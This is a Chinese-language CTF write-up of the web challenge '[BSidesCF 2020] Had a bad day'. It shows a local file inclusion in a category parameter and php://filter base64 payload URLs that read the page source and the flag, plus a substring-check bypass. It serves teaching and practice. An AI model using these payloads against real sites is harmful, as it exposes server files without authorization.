[BSidesCF2020]Hadabadday

admin 2026-09-06 04:48:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析BSidesCF2020CTFWeb题Hadabadday的完整解题过程。通过URL参数发现文件包含漏洞,利用php://filter伪协议读取源码,确认过滤机制后构造payload读取flag。文章步骤清晰,具备可操作性与实战参考价值。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析,代码审计


[BSidesCF 2020]Had a bad day

原创

devildollking devildollking

熔城Sec

2026年9月4日 09:00 辽宁

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

01

题目简介

  • 题目名称:[BSidesCF 2020]Had a bad day
  • 题目平台:CTF²
  • 题目类型:Web

02

解题步骤

启动靶机

随便点击按钮看一下是否存在提示

发现url进行传参了,猜测可能是sql注入,先随便构造一下

/index.php?category=woofers'

发现出现报错了,报错中出现了,文件路径,并且woofers后面自动加上了.php的后缀!我们猜测是使用了文件包含。

我们这里使用伪协议去读一下index的源码,这里不能加php的后缀,因为上面说过会自动填充的

/index.php?category=php://filter/convert.base64-encode/resource=index

解码后的代码如下

<?php$file&nbsp;=&nbsp;$_GET['category'];
if&nbsp;(isset($file)) {&nbsp; &nbsp;&nbsp;if&nbsp;(strpos($file,&nbsp;"woofers") !==&nbsp;false&nbsp;||&nbsp;strpos($file,&nbsp;"meowers") !==&nbsp;false&nbsp;||&nbsp;strpos($file,&nbsp;"index")) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;include($file&nbsp;.&nbsp;'.php');&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"Sorry, we currently only support woofers and meowers.";&nbsp; &nbsp; }}?>

使用GET方法获取category,赋给变量 $file,并且限定了传参的文件,否则输出报错信息,知道以上信息,我们就可以构造payload了

/index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag

解码之后就能得到flag了


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:熔城Sec devildollking devildollking《[BSidesCF 2020]Had a bad day》

    评论:0   参与:  0